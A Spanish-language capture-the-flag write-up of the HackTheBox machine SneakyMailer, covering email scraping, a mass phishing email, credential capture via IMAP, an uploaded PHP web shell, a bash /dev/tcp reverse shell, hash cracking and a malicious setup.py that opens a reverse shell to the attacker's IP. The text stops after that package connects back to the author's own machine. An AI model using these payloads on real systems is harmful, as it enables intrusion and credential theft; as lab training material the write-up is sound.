Maquina Sneakymailer - htb writeup

Firtmiracle el
Maquina Sneakymailer - htb writeup

Hoy vamos a resolver una máquina hackthebox de dificultad media, la cual explotaremos a partir de información lekeada y realizando un ataque masivo de email, después migraremos a otro usuario abusando de un pypi server creando un paquete malicioso y finalmente escalaremos privilegios como el usuario root abusando de un privilegio de sudoers en pip3.

Vamos a comenzar creando un directorio con el nombre de la maquina:

❯ mkdir Sneakymailer
❯ ls
 Sneakymailer

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap, content, scripts}
}
❯ mkt
❯ ls
 content   nmap   scripts

Enumeración #

Ahora que tenemos nuestros directorios vamos a comenzar con la fase de Enumeración, empezamos mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.197
PING 10.10.10.197 (10.10.10.197) 56(84) bytes of data.
64 bytes from 10.10.10.197: icmp_seq=1 ttl=63 time=2582 ms

--- 10.10.10.197 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2582.173/2582.173/2582.173/0.000 ms

Vemos que la maquina nos responde ahora procederemos a el scaneo de puertos con la ayuda de nmap:

Escaneo de Puertos

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre allPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.197 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 21:19 GMT
Initiating SYN Stealth Scan at 21:19
Scanning 10.10.10.197 [65535 ports]
Discovered open port 80/tcp on 10.10.10.197
Discovered open port 22/tcp on 10.10.10.197
Discovered open port 21/tcp on 10.10.10.197
Discovered open port 25/tcp on 10.10.10.197
Discovered open port 8080/tcp on 10.10.10.197
Discovered open port 143/tcp on 10.10.10.197
Discovered open port 993/tcp on 10.10.10.197
Completed SYN Stealth Scan at 21:20, 20.33s elapsed (65535 total ports)
Nmap scan report for 10.10.10.197
Host is up, received user-set (0.31s latency).
Scanned at 2023-04-08 21:19:57 GMT for 20s
Not shown: 63699 closed tcp ports (reset), 1829 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
21/tcp   open  ftp        syn-ack ttl 63
22/tcp   open  ssh        syn-ack ttl 63
25/tcp   open  smtp       syn-ack ttl 63
80/tcp   open  http       syn-ack ttl 63
143/tcp  open  imap       syn-ack ttl 63
993/tcp  open  imaps      syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.46 seconds
           Raw packets sent: 98589 (4.338MB) | Rcvd: 88844 (3.554MB)

Escaneo de Version y Servicios.

❯ nmap -sCV -p21,22,25,80,143,993,8080 10.10.10.197 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 21:21 GMT
Nmap scan report for 10.10.10.197
Host is up (0.40s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp   open  http     nginx 1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
|_http-server-header: nginx/1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES OK IDLE CHILDREN ACL2=UNION STARTTLS UIDPLUS SORT NAMESPACE ACL completed CAPABILITY QUOTA IMAP4rev1 UTF8=ACCEPTA0001 ENABLE THREAD=ORDEREDSUBJECT
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES OK IDLE CHILDREN ACL2=UNION UIDPLUS SORT NAMESPACE ACL AUTH=PLAIN completed CAPABILITY QUOTA IMAP4rev1 UTF8=ACCEPTA0001 ENABLE THREAD=ORDEREDSUBJECT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.06 seconds

Visulizamos información interesante de los puertos escaneados:

Puerto Servicio Versión
21 FTP vsftpd 3.0.3
22 SSH OpenSSH 7.9p1
25 SMTP Postfix smtpd
80 HTTP nginx 1.14.2
143 IMAP Courier Imapd
993 IMAP/SSL Courier Imapd
8080 HTTP nginx 1.14.2

Comenzando primeramente intentaremos conectarnos como el usuario anonymous por el servicio ftp

❯ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:fmiracle): anonymous
530 Permission denied.
Login failed.
ftp>

Vemos que no contamos con acceso asi que proseguiremos a usar la herramienta whatweb para ver el gestor de contenido de los servicios http

❯ whatweb http://10.10.10.197
http://10.10.10.197 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[10.10.10.197], RedirectLocation[http://sneakycorp.htb], Title[301 Moved Permanently], nginx[1.14.2]
http://sneakycorp.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.10.197], JQuery, Script, Title[Employee - Dashboard], X-UA-Compatible[IE=edge], nginx[1.14.2]
❯ whatweb http://10.10.10.197:8080
http://10.10.10.197:8080 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.10.197], Title[Welcome to nginx!], nginx[1.14.2]

whatweb nos reporta que se esta aplicando virtual hosting, concretamente al dominio http://sneakycorp.htb asi que comenzemos agregandolo a nuestro /etc/hosts

echo "10.10.10.197 sneakycorp.htb" >> /etc/hosts

Explotación #

Vamos a proceder a abrir la pagina web.

Podemos observar un proyecto que nos habla de pypi, pero que es pypi

El Python Package Index o PyPI es el repositorio de software oficial para aplicaciones de terceros en el lenguaje de programación Python.

Observamos un potencial de correos filtrados de la compañia

Parceamos los correos filtrados usando la siguente expresión y los exportamos a un fichero de nombre mails.txt

curl -s -X GET "http://sneakycorp.htb/team.php" | grep "sneakymailer" | html2text | xargs | tr ' ' ',' > mails.txt
❯ /bin/cat mails.txt
tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,ashtoncox@sneakymailer.htb,cedrickelly@sneakymailer.htb,airisatou@sneakymailer.htb,briellewilliamson@sneakymailer.htb,herrodchandler@sneakymailer.htb,rhonadavidson@sneakymailer.htb,colleenhurst@sneakymailer.htb,sonyafrost@sneakymailer.htb,jenagaines@sneakymailer.htb,quinnflynn@sneakymailer.htb,chardemarshall@sneakymailer.htb,haleykennedy@sneakymailer.htb,tatyanafitzpatrick@sneakymailer.htb,michaelsilva@sneakymailer.htb,paulbyrd@sneakymailer.htb,glorialittle@sneakymailer.htb,bradleygreer@sneakymailer.htb,dairios@sneakymailer.htb,jenettecaldwell@sneakymailer.htb,yuriberry@sneakymailer.htb,caesarvance@sneakymailer.htb,doriswilder@sneakymailer.htb,angelicaramos@sneakymailer.htb,gavinjoyce@sneakymailer.htb,jenniferchang@sneakymailer.htb,brendenwagner@sneakymailer.htb,fionagreen@sneakymailer.htb,shouitou@sneakymailer.htb,michellehouse@sneakymailer.htb,sukiburks@sneakymailer.htb,prescottbartlett@sneakymailer.htb,gavincortez@sneakymailer.htb,martenamccray@sneakymailer.htb,unitybutler@sneakymailer.htb,howardhatfield@sneakymailer.htb,hopefuentes@sneakymailer.htb,vivianharrell@sneakymailer.htb,timothymooney@sneakymailer.htb,jacksonbradshaw@sneakymailer.htb,olivialiang@sneakymailer.htb,brunonash@sneakymailer.htb,sakurayamamoto@sneakymailer.htb,thorwalton@sneakymailer.htb,finncamacho@sneakymailer.htb,sergebaldwin@sneakymailer.htb,zenaidafrank@sneakymailer.htb,zoritaserrano@sneakymailer.htb,jenniferacosta@sneakymailer.htb,carastevens@sneakymailer.htb,hermionebutler@sneakymailer.htb,laelgreer@sneakymailer.htb,jonasalexander@sneakymailer.htb,shaddecker@sneakymailer.htb,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb

Como antes nos reporto nmap el servicio imap se encuentra activo y como ahora disponemos de una lista de correos, podemos tratar de enviar un correo como cualquier usuario y ver si se nos permite de estar mal configurado.

Para eso usaremos la herramienta swaks

para instalar la herramienta solo basta con hacer un apt install swaks

Especificaremos con los comandos from el correo origen, --to la lista de correos que obtuvimos, en el body podemos tratar de enviar un enlace a un servidor http que nos compartiremos de manera local, de modo que si alguno de los usuarios destinatarios esta abriendo el correo y pinche en el enlace, causara que nos envie una solicitud.

❯ swaks --from fmiracle@sneakymailer.htb --to tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,ashtoncox@sneakymailer.htb,cedrickelly@sneakymailer.htb,airisatou@sneakymailer.htb,briellewilliamson@sneakymailer.htb,herrodchandler@sneakymailer.htb,rhonadavidson@sneakymailer.htb,colleenhurst@sneakymailer.htb,sonyafrost@sneakymailer.htb,jenagaines@sneakymailer.htb,quinnflynn@sneakymailer.htb,chardemarshall@sneakymailer.htb,haleykennedy@sneakymailer.htb,tatyanafitzpatrick@sneakymailer.htb,michaelsilva@sneakymailer.htb,paulbyrd@sneakymailer.htb,glorialittle@sneakymailer.htb,bradleygreer@sneakymailer.htb,dairios@sneakymailer.htb,jenettecaldwell@sneakymailer.htb,yuriberry@sneakymailer.htb,caesarvance@sneakymailer.htb,doriswilder@sneakymailer.htb,angelicaramos@sneakymailer.htb,gavinjoyce@sneakymailer.htb,jenniferchang@sneakymailer.htb,brendenwagner@sneakymailer.htb,fionagreen@sneakymailer.htb,shouitou@sneakymailer.htb,michellehouse@sneakymailer.htb,sukiburks@sneakymailer.htb,prescottbartlett@sneakymailer.htb,gavincortez@sneakymailer.htb,martenamccray@sneakymailer.htb,unitybutler@sneakymailer.htb,howardhatfield@sneakymailer.htb,hopefuentes@sneakymailer.htb,vivianharrell@sneakymailer.htb,timothymooney@sneakymailer.htb,jacksonbradshaw@sneakymailer.htb,olivialiang@sneakymailer.htb,brunonash@sneakymailer.htb,sakurayamamoto@sneakymailer.htb,thorwalton@sneakymailer.htb,finncamacho@sneakymailer.htb,sergebaldwin@sneakymailer.htb,zenaidafrank@sneakymailer.htb,zoritaserrano@sneakymailer.htb,jenniferacosta@sneakymailer.htb,carastevens@sneakymailer.htb,hermionebutler@sneakymailer.htb,laelgreer@sneakymailer.htb,jonasalexander@sneakymailer.htb,shaddecker@sneakymailer.htb,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb --body "Entra aqui -> http://10.10.16.2/test" --server 10.10.10.197
=== Trying 10.10.10.197:25...
=== Connected to 10.10.10.197.
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO hack4u
<-  250-debian
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<fmiracle@sneakymailer.htb>
<-  250 2.1.0 Ok
 -> RCPT TO:<tigernixon@sneakymailer.htb>

Nos ponemos en escucha con ncat en el puerto 80 y recibimos una petición post.

❯ ncat -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:39458.
POST /test HTTP/1.1
Host: 10.10.16.2
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Tramos la data y lo exportamos a un ficherito llamando credentials.txt, donde podemos ver las credenciales de el usuario Paul

❯ php --interactive
Interactive mode enabled

php > echo urldecode("firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt");
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

❯ /bin/cat credentials.txt
firstName=Paul
lastName=Byrd
email=paulbyrd@sneakymailer.htb
password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Ahora provaremos conectarnos con telnet al puerto 143 con esas credenciales.

Puedes guiarte de este articulo donde se explica a detalle como realizar la conexión con telnet y hacer uso de los parametros.

❯ telnet 10.10.10.197 143
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
a1 LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a1 OK LOGIN Ok.
a2 LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
a2 OK LIST completed
a3 EXAMINE "INBOX.Trash"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 590600304] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a3 OK [READ-ONLY] Ok
a4 EXAMINE "INBOX.Sent"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 590600538] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a4 OK [READ-ONLY] Ok
a5 EXAMINE "INBOX.Deleted Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589481592] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a5 OK [READ-ONLY] Ok
a6 EXAMINE "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a6 OK [READ-ONLY] Ok

Examinado la ultima bandeja encontramos 2 correos existentes y visualizando el primer correo optenemos unas credenciales del usuario developer

a7 FETCH 1 BODY[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
	boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
	{font-family:"Cambria Math";
	panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:11.0pt;
	font-family:"Calibri",sans-serif;}
.MsoChpDefault
	{mso-style-type:export-only;}
@page WordSection1
	{size:8.5in 11.0in;
	margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
	{page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p>&nbsp;</o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
a7 OK FETCH completed.

Como ahora disponemos de credenciales nuevas:

  • developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Volemos a tratar de conectarnos por ftp y esta vez la conexión es exitosa.

❯ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:fmiracle): developer
331 Please specify the password.
Password:
230 Login successful.

Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jun 30  2020 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26  2020 css
drwxr-xr-x    2 0        0            4096 May 26  2020 img
-rwxr-xr-x    1 0        0           13742 Jun 23  2020 index.php
drwxr-xr-x    3 0        0            4096 May 26  2020 js
drwxr-xr-x    2 0        0            4096 May 26  2020 pypi
drwxr-xr-x    4 0        0            4096 May 26  2020 scss
-rwxr-xr-x    1 0        0           26523 May 26  2020 team.php
drwxr-xr-x    8 0        0            4096 May 26  2020 vendor
226 Directory send OK.
ftp>

Despues de conectarnos visualizamos un directorio dev y dentro un contenido de nombre team.php, que curiosamente era la ruta de la pagina donde estaban expuestos los correos.

Para poder saber si tenemos permiso de escritura intentaremos subir un archivo de nombre cmd.php que con el uso de la función shell_exec me ejecute un comando a nivel de sistema que vamos a controlar con el parametro cmd

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Comprobamos que efectivamente si podemos subir el archivo

ftp> put cmd.php
local: cmd.php remote: cmd.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
d226 Transfer complete.
69 bytes sent in 0.00 secs (811.8411 kB/s)
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
--wxrw-rw-    1 1001     1001           69 Apr 08 19:15 cmd.php
drwxr-xr-x    2 0        0            4096 May 26  2020 css
drwxr-xr-x    2 0        0            4096 May 26  2020 img
-rwxr-xr-x    1 0        0           13742 Jun 23  2020 index.php
drwxr-xr-x    3 0        0            4096 May 26  2020 js
drwxr-xr-x    2 0        0            4096 May 26  2020 pypi
drwxr-xr-x    4 0        0            4096 May 26  2020 scss
-rwxr-xr-x    1 0        0           26523 May 26  2020 team.php
drwxr-xr-x    8 0        0            4096 May 26  2020 vendor
226 Directory send OK.
ftp>

Visitamos la url, pero esta vez apuntaremos al fichero que subimos.

El servicio nos reporta un codigo de estado 400 lo que corresponde a que el archivo no existe…

Pero dado a que existe un directorio dev podemos pensar que puede ser un posible subdominio, asi que usaremos gobuster para tratar de enumerar posibles subdominios validos existentes y usaremos el diccionario subdomains-top1million-5000.txt del repositorio de seclists

❯ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://sneakycorp.htb/ -t 200
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://sneakycorp.htb/
[+] Method:       GET
[+] Threads:      200
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2023/04/08 23:21:48 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
                                                     
===============================================================
2023/04/08 23:21:58 Finished
===============================================================

Pues gobuster nos reporta que el subdominio es valido, lo que quiere decir que el archivo que subimos antes existe, pero bajo ese subdominio.

Procedemos a subir nuevamente el archivo ya que a intervalos de tiempo nos lo borra

ftp> put cmd.php
local: cmd.php remote: cmd.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
69 bytes sent in 0.00 secs (990.9237 kB/s)
ftp>

Volvemos a visitar la url esta vez apuntando al subdominio y al archivo subido no sin antes agregar el subdominio a nuestro /etc/hosts

❯ echo "10.10.10.197 dev.sneakycorp.htb" >> /etc/hosts

Esta vez si podemos apuntar al archivo cmd.php y con el parametro cmd tal y como lo habiamos especificado, podemos ejecutar comandos.

Lo siguiente sera ganar acceso a la maquina, mandandonos una shell reversa a nuestra maquina local, ello lo haremos con bash con el comando bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'

No olvidemos poner los & en urleconde %26 para evitar problemas, y enviamos la petición

Nos ponemos en escucha y recimos la conexión como el usuario www-data

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:37818.
bash: cannot set terminal process group (734): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ whoami
whoami
www-data

Como siempre al ser una maquina linux hacemos un tratamiento de la tty para que sea full interactiva y ajustamos el tamaño de las proporciones de la pantall.

www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ^Z
zsh: suspended  ncat -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  ncat -nlvp 443
                                reset xterm
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ export TERM=xterm
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ export SHELL=bash
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ stty rows 48 columns 184

Una vez en la maquina listamos los procesos corriendo y vemos uno correspondiente a pypi

www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ps -faux | grep 5000
www-data  7185  0.0  0.0   3084   824 pts/0    S+   19:49   0:00  |                           \_ grep 5000
pypi       741  0.0  0.6  36804 25824 ?        Ss   17:09   0:08 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$

Podemos ver que se establece un tipo de conexión procediente de un archivo asi que procederemos a leeerlo

www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Vemos una contraseña encryptada que procederemos a crackearla por fuerza bruta con john

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (?)
1g 0:00:00:08 DONE (2023-04-08 23:53) 0.1172g/s 419023p/s 419023c/s 419023C/s soulfire1..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Obtenemos nuevas credenciales pypi:soufianeelhaoui

Como vimos que por detras esta configurado un nginx vamos a listar los sitios disponibles del directorio sites-available

Encotramos el subdominio pypi.sneakycorp.htb que esta en escucha por el puerto 8080

www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ cat /etc/nginx/sites-available/pypi.sneakycorp.htb 
server {
	listen 0.0.0.0:8080 default_server;
	listen [::]:8080 default_server;
	server_name _;
}


server {
	listen 0.0.0.0:8080;
	listen [::]:8080;

	server_name pypi.sneakycorp.htb;

	location / {
		proxy_pass http://127.0.0.1:5000;
		proxy_set_header Host $host;
		proxy_set_header X-Real-IP $remote_addr;
	}
}

Agregamos el subdominio al /etc/hosts

❯ echo "10.10.10.197 pypi.sneakycorp.htb" >> /etc/hosts

Lo abrimos en el navegador

Como vemos un pypi server lo que podriamos hacer es tratar de crearnos nuestro propio paquete malicioso de pypi y tratar de subirlo a la maquina victima e intentar colar un comando en la maquina victima.

Ahora la pregunta es como creamos un paquete en python?

Solo debes seguir la guia de este recurso donde se explica a detalle como hacerlo

La estructura al crear un paquete debe ser similar a esta:

linode_example/
    linode_example/
        __init__.py
    setup.py
    setup.cfg
    README.md

Entonces procederemos a crear una estructura similar en nuestra maquina en este caso pondre de nombre a los directorios como package

❯ ls
 package   setup.cfg   setup.py
❯ tree
.
├── package
│   ├── __init__.py
│   └── package
├── setup.cfg
└── setup.py

2 directories, 3 files

Lo siguiente sera editar el setup.py, donde ademas añadiremos un codigo para ejecutarnos una reverse shell que se ejecutara cuando se inicie el setup.py

from setuptools import setup

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.2",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

setup(
    name='linode_example',
    #packages=['linode_example'],
    description='Hello world enterprise edition',
    version='0.1',
    url='http://github.com/example/linode_example',
    author='Linode',
    author_email='docs@linode.com',
    keywords=['pip','linode','example']
    )

Comentar o borrar la linea de packages=['linode_example'] ya que suele dar problema.

Ahora lo que tenemos que hacer es que el servidor de la maquina victima al momento de instalar el paquete me ejecute la reverse shell y eso lo hariamos creando un archivo .pypirc donde definamos cual es el repositorio al cual te quieras conectar y las credenciales de autenticación que de antes la tenemos.

❯ /bin/cat ~/.pypirc
[distutils]
index-servers = sneakypwned
[sneakypwned]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui

Por ultimo sera ejecutar el siguiente comando para tratar de cargar el paquete en la maquina victima python3 setup.py sdist upload -r linode

Donde reeemplazaremos linode por el nombre que pusimos el el index-servers en el .pypirc que en nuestro caso es sneakypwned

python3 setup.py sdist upload -r sneakypwned

Ejecutamos el setup.py y nos ponemos en escucha con ncat

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.16.2.
Ncat: Connection from 10.10.16.2:46076.
# whoami
root
# pwd
/home/fmiracle/Machines/Sneakymailer/content/create
#

